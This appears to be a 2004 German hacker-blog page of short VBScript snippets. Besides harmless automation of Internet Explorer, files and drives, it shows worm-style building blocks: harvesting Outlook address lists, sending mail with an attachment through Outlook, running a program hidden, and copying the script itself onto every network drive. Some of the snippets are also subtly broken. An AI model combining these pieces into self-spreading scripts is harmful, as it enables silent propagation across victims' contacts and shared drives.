Datenterrorist
"Das Universum ist nicht nur verrückter als wir denken, sondern sogar verrückter als wir denken können" - Novalis _

.:: Control IE ::.

url = InputBox("Gib eine URL ein: ")

set IE = CreateObject("InternetExplorer.Application")
IE.navigate(url)
IE.visible = 1
Click
01.01.04 17:05:00 - balle - 471 comments - Vbscript


.:: Send mail ::.

user = "hackbard"
pass = "celine"

set oe = CreateObject("Outlook.Application")
set mail = oe.CreateItem(oeMailItem)
mail.Recipients.Add "Karl@arsch.net"
mail.Subject = "Send via VBScript"
mail.Body = "Karl Koch ist wieder da! =)"
set attachment = mail.Attachments
attachment.Add = WScript.Fullname, olByValue, 4, "Toll wa?"

set smtp = oe.GetNameSpace("MAPI")
smtp.Logon user, pass
mail.send
Click
01.01.04 17:01:00 - balle - 126 comments - Vbscript


.:: Read addressbook ::.

set outlook = CreateObject("Outlook.Application")
set api = outlook.GetNameSpace("MAPI")

for count=1 to api.AddressLists.Count
set contact = api.AddressLists(count)
MsgBox(contact.EmailAddress)
Click
01.01.04 16:59:00 - balle - 25 comments - Vbscript


.:: Hidden program ::.

set Shell = CreateObject("WScript.Shell")
set Envobj = Shell.Environment
command = Envobj("comspec")
MsgBox "Kommandointerpreter: " & command
MsgBox "Starte nach 3 Sekunden versteckt Klickedi."
WScript.Sleep 3000
Shell.Run "C:\windows\Sol.exe",0
Click
01.01.04 16:59:00 - balle - 19 comments - Vbscript


.:: Working with directories ::.

set filesystem = CreateObject("Scripting.FileSystemObject")
filesystem.CreateFolder("C:\test")
MsgBox("Created directory C:\test")
filesystem.DeleteFolder("C:\test")
MsgBox("Deleted directory C.\test")
Click
01.01.04 16:57:00 - balle - 520 comments - Vbscript


.:: Working with files ::.

set filesystem = CreateObject("Scripting.FileSystemObject")
set file = filesystem.OpenTextFile("C:\Autoexec.bat")

Do while NOT (file.EndOfStream)
MsgBox(file.ReadLine)
Loop

set newfile = filesystem.OpenTextFile("C:\testme.txt")
newfile.WriteLine("VBScript schreibt Dateien...")
newfile.Close

set appendfile = filesystem.OpenTextFile("C:\testme.txt",ForAppending)
appendfile.WriteLine("This text is appended...")
Click
01.01.04 16:56:00 - balle - 897 comments - Vbscript


.:: Drives ::.

set mount = CreateObject("Scripting.FileSystemObject")
set drives = mount.Drives
For Each drv in drives
typ = drv.DriveType

if typ = 0 then
msg = "Unknown"
elseif typ = 1 then
msg = "Floppy / Zip"
elseif typ = 2 then
msg = "Festplatte"
elseif typ = 3 then
msg = "Netzlaufwerk"
elseif typ = 4 then
msg = "CD-Rom"
elseif typ = 5 then
msg = "RAMdisk"
End If

MsgBox("Found drive " & drv.DriveLetter & " (" & msg & ")")
Click
01.01.04 16:54:00 - balle - 1232 comments - Vbscript


.:: Copy to netdrive ::.

set filesystem = CreateObject("Scripting.FileSystemObject")
set drives = filesystem.Drives

For Each drv in drives
typ = drv.DriveType

if typ = 3 then
MsgBox("Found network drive " & drv.DriveLetter)
set myself = filesystem.GetFile(WScript.ScriptFullName)
myself.Copy drv.DriveLetter & ":\" & WScript.ScriptName
End If
Next
Click
01.01.04 16:53:00 - balle - 473 comments - Vbscript